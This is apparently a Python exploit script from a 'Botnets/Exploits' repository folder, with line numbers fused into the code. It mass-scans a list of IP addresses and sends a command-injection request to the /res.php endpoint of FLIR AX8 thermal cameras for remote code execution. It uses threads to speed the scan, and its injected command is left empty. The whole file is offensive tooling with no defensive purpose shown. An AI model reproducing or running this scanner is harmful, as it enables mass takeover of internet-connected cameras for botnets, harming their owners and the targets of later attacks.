Path: blob/master/Botnets/Exploits/FLIR AX8_rce.py
5038 views
import sys1import threading2import requests3import os4import socket5import time6from queue import *7from threading import Thread8import base649import urllib.parse1011if len(sys.argv) < 2:12sys.exit("\033[37mUsage: python "+sys.argv[0]+" <ip list>")1314ips = open(sys.argv[1], "r").readlines()15queue = Queue()16queue_count = 017command = ""1819payload = '{}'.format(command)20data = 'action=get&resource=;{}'.format(urllib.parse.quote(payload))2122headers = {23'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',24}2526info = open(str(sys.argv[1]),'a+')2728def test(ip):29ip = str(ip).rstrip("\n")30try:31ip = ip+"/res.php"32x = requests.post("http://"+ip, headers=headers, data=data, allow_redirects=False, verify=False)33#print(x.text)34if x == 200:35print("[FOUND] "+ip)36except Exception:37print("[NOT FOUND]")38pass394041def main():42global queue_count43for line in ips:44line = line.strip("\r")45line = line.strip("\n")46queue_count += 147sys.stdout.flush()48queue.put(line)49sys.stdout.write("\n")50i = 051while i != queue_count:52i += 153try:54input = queue.get()55thread = Thread(target=test, args=(input,))56thread.start()57time.sleep(0.05)58except KeyboardInterrupt:59os.kill(os.getpid(), 9)60thread.join()61return626364if __name__ == "__main__":65main()666768